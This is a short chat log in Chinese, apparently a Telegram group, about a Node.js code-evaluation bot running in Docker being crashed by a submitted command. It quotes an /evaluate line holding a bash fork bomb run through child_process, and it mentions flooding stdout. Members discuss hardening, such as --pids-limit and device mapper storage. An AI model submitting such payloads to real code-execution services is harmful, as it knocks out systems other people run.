直接alloc一個buffer往stdout塞才是王道
像要是這樣做...他至少會給tg api塞4000條訊息

@nodeCodeEvaluatingBot 怎麼了？！
如果要的話，改用device mapper可以免疫用塞爆空間癱瘓bug的招數啦...
不過跑在vm裡的docker能不能條這種選像我就不知道了

是說docekr預設是不免疫fork bomb的...真的跑會死掉
是因為這個嗎..../evaluate c=':() { :|:& }; while :; do :; done';
require('child_process').execFile('bash', ['-c',c], function(i,s,t){console.log(s)});
是系統process數會爆增，到最後會沒有回應，shell完全不能動
理論上只要用最新版 docker 配 linux 4.3+，加個 --pids-limit=512 就能擋下來啦
我還沒設定 resource limit
不會設定XD
--pids-limit=512 是丟在 container start command 裡面嗎
@BirkhoffLee 記得把 nice 值 (優先權) 調高一點
反正每個contain e r的優先權都一樣 沒差（？
